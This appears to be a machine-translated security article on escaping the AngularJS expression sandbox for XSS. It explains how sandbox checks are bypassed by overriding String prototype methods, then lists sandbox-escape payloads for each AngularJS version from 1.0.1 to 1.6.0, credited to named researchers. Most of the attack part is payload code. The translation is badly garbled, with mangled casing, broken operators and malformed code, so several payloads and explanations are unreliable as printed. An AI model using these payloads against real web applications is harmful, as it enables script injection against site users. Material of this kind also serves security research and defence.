This article mainly introduces to you about ANGULARJS user input dynamic template XSS attack related data, the text through the sample code introduced in very detailed, for everyone to learn or use Angularjs has a certain reference learning value, the need for friends to learn together.
Overview
XSS attack is one of the most common attack methods in Web attack, it is by injecting executable code into the Web page and successfully executed by the browser, to achieve the purpose of attack, to form an effective XSS attack, once the attack is successful, it can get the user's contact list, and then send a false scam information to the contact, Can delete the user's log and so on, and sometimes also with other attack methods such as SQL injection attack server and database, click Hijacking, Relative link hijacking and other implementation of fishing, it brings the harm is huge, is the biggest enemy of web security.
Previously summary
Angularjs with "{{}}" as the output flag, and for the contents of the double parenthesis Angularjs accounting calculation and output results, we can enter the JS code inside, and some statements can be executed, which makes our XSS possible, although not directly write function expression, But it's hard to live with our white hat.
Sandbox inspection
Angularjs will rewrite the expression and filter the computed output, for example, we enter
{{1 + 1}}
In JS, it is converted into
"Use strict"; var fn = function (S, l, a, i) {return plus (1, 1);}; return FN;
Return FN, where the returns will be executed by ANGUALRJS, Angularjs rewrite this method after the conversion is like this
"Use strict"; var fn = function (S, l, a, i) {var v0, V1, v2, v3, v4 = L && (' constructor ' in L), V5; V4)) {if (s) {v3 = S.constructor;}} else {v3 = L.constructor;} ensuresafeobject (v3, text); if (v3! = null) {v2 = Ensuresafeobject (v3.constructor, text);} else {v2 = undefined;} if (v2! = null) {Ensuresafefunc tion (v2, text); V5 = ' alert\u00281\u0029 '; Ensuresafeobject (v3, text); V1 = Ensuresafeobject (V3.constructor (Ensuresafeobject (' alert\u00281\u0029 ', text)), text); } else {v1 = undefined;} if (v1! = null) {ensuresafefunction (v1, text); V0 = Ensuresafeobject (v1 (), text);} else {V0 = undefined; } return v0;}; return FN;
ANGULARJS examines each input parameter, and the Ensuresafeobject method verifies the constructor method of the function, the Window object, the object, or the object's construction method, and any one of them is checked out. The expression is not executed. Angularjs also have ensuresafememebername and ensuresafefunction to filter out method prototype chain methods and check this point.
How to escape
How to escape the filter of the template, we can let the input template is executed by the corner, because Angularjs does not support the function input, we can not directly overwrite the local JS function. But in the string object found the vulnerability, fromCharCode, then CharCode, CharAt, because did not override these methods, by changing the local JS function, I can call these methods in Angularjs to open a back door for themselves, Overwrite the original function with my rewrite.
' A '. Constructor.fromcharcode=[].join; ' A '. constructor[0]= ' \u003ciframe onload=alert (/backdoored/) \u003e ';
The Formcharcode method executes when the internal this point is a string object, through the above can refer to the execution of the statement, we can overwrite the fromCharCode function, when executed in this page, such as:
Onload=function () {document.write (String.fromCharCode (97));//will pop up/backdoored/}
I can do that.
' A '. Constructor.prototype.charcodeat=[].concat
When Angularjs calls the charCodeAt function, my code is executed to angular source, for example, in this section there is a Encodeentities method to filter the properties and names and then output,
if (Validattrs[lkey] = = True && (Uriattrs[lkey]!== true | | urivalidator (value, Isimage)) {out ("); Out (key) (' = '); Out (encodeentities (value));//Find encodeentities out (' "');}
The specific encodeentities code is as follows:
function Encodeentities (value) {return value. replace (/&/g, ' & '). Replace (Surrogate_pair_regexp, function ( Value) {var hi = value.charcodeat (0); var low = Value.charcodeat (1); return ' + (((hi-0xd800) * 0x400) + (low-0xdc00 ) + 0x10000) + '; '; }). Replace (non_alphanumeric_regexp, function (value) {return ' + value.charcodeat (0) + '; '; /Something bad happened here, I rewrote this method, can implant some malicious code, and get return output }). replace (/</g, ' < '). Replace (/>/g, ' > ');}
Specific implementation
This is the input code {{' a '. constructor.prototype.charat=[].join; $eval (' x= "" ") + '}}//This is the code that is overwritten by " use strict "; var fn = function (S, l, a, i) {var v5, V6 = l && (' x\u003d\u0022\u0022 ' in L);//Affected if (! V6) { if (s) { v5 = S.x = "";//Affected }} else { v5 = l.x = "";//affected} return v5;}; Fn.assign = function (S, V, l) {var v0, V1, v2, v3, v4 = L && (' x\u003d\u0022\u0022 ' in L);//Affected V3 = v4? l:s; if (! ( V4)) { if (s) { v2 = S.x = "";//Is Affected }} else { v2 = l.x = "";//affected} if (V3! = null) { V1 = v; Ensuresafeobject (v3.x = "", text);//affected V0 = v3.x = "" = v1;//affected} return v0;}; return FN;
{' A '. constructor.prototype.charat=[].join; $eval (' X=alert (1) ') + '//injected with alert (1)}} "use strict"; var fn = function (S, l , A, i) {var v5, V6 = l && (' x\u003dalert\u00281\u0029 ' in L); V6) { if (s) { v5 = s.x = alert (1), }} else { v5 = l.x = alert (1);} return v5;}; Fn.assign = function (S, V, l) {var v0, V1, v2, v3, v4 = L && (' x\u003dalert\u00281\u0029 ' in L); v3 = v4? l:s; if (! ( V4) { if (s) { v2 = s.x = alert (1), }} else { v2 = l.x = alert (1);} if (v3! = null) { V1 = v; Ensuresafeobject (v3.x = alert (1), text); V0 = v3.x = Alert (1) = V1; } return v0;}; return FN;
Here are some code that can be directly combined with ANGULARJS verification
Different versions of the implementation code and the discovered by:
1.0.1-1.1.5 Mario Heiderich (Cure53)
{{Constructor.constructor (' alert (1) ') ()}}
1.2.0-1.2.1 Jan Horn (Google)
{{a= ' constructor '; B={};a.sub.call.call (B[a].getownpropertydescriptor (b[a].getprototypeof (a.sub), a). value,0, ' Alert (1) ') ()}}
1.2.2-1.2.5 Gareth Heyes (Portswigger)
{{' A ' [{tostring:[].join,length:1,0: ' __proto__ '}].charat= '. valueOf; $eval ("x= '" + (y= ' if (!WINDOW\\U002EX) alert ( window\\u002ex=1) ') +eval (y) + "'");}}
1.2.6-1.2.18 Jan Horn (Google)
{{(_= '. Sub). Call.call ({}[$= ' constructor '].getownpropertydescriptor (_.__proto__,$). value,0, ' alert (1) ') ()}}
1.2.19-1.2.23 Mathias Karlsson
{{tostring.constructor.prototype.tostring=tostring.constructor.prototype.call; ["A", "alert (1)"].sort (Tostring.constructor);}}
1.2.24-1.2.29 Gareth Heyes (Portswigger)
{' A '. constructor.prototype.charat= '. valueOf; $eval ("x=" + (y= ' if (!window\\u002ex) alert (window\\u002ex=1) ') + Eval (y) +\ "'");}}
1.3.0 Gábor Molnár (Google)
{{!ready && (ready = True) && (!call? $ $watchers [0].get (ToString.constructor.prototype): (a = apply) & ;& (apply = constructor) && (valueOf = call) && (' + '. toString (' F = function.prototype; ' + ' f.apply = f. A; ' + ' delete f.a; ' + ' delete f.valueof; ' + ' alert (1); ')}}
1.3.1-1.3.2 Gareth Heyes (Portswigger)
{{{}[{tostring:[].join,length:1,0: ' __proto__ '}].assign=[].join; ' A '. constructor.prototype.charat= '. valueOf; $eval (' X=alert (1)//'); }}
1.3.3-1.3.18 Gareth Heyes (Portswigger)
{{{}[{tostring:[].join,length:1,0: ' __proto__ '}].assign=[].join; ' A '. Constructor.prototype.charat=[].join; $eval (' X=alert (1)//'); }}
1.3.19 Gareth Heyes (Portswigger)
{{' A ' [{tostring:false,valueof:[].join,length:1,0: ' __proto__ '}].charat=[].join; $eval (' X=alert (1)//')}}
1.3.20 Gareth Heyes (Portswigger)
{' A '. constructor.prototype.charat=[].join; $eval (' X=alert (1) ');}}
1.4.0-1.4.9 Gareth Heyes (Portswigger)
{' A '. constructor.prototype.charat=[].join; $eval (' X=1}}};alert (1)//');}}
1.5.0-1.5.8 Ian Hickey
{{x = {' Y ': '. Constructor.prototype}; x[' Y '].charat=[].join; $eval (' X=alert (1) ');}}
1.5.9-1.5.11 Jan Horn (Google)
{{c= '. sub.call;b= '. sub.bind;a= '. sub.apply; c. $apply = $apply; c. $eval =b;op= $root. $ $phase; $root. $ $phase =null;od= $root. $digest; $root. $digest = ({}). toString; C=c. $apply (c); $root. $ $phase =op; $root. $digest =od; B=c (B,c,b), $evalAsync ("Astnode=pop (); astnode.type= ' unaryexpression '; astnode.operator= ' (window. X?VOID0: (window. X=true,alert (1))) + '; Astnode.argument={type: ' Identifier ', Name: ' foo '}; "); M1=b ($ $asyncQueue. Pop (). Expression,null, $root); M2=b (C,NULL,M1); [].push.apply=m2;a= '. Sub; $eval (' A (B.C) '); [].push.apply=a;}}
= 1.6.0 Mario Heiderich (Cure53)
{{Constructor.constructor (' alert (1) ') ()}}
Transferred from: https://pockr.org/activity/detail?activity_no=act_017d460d4e5988dad2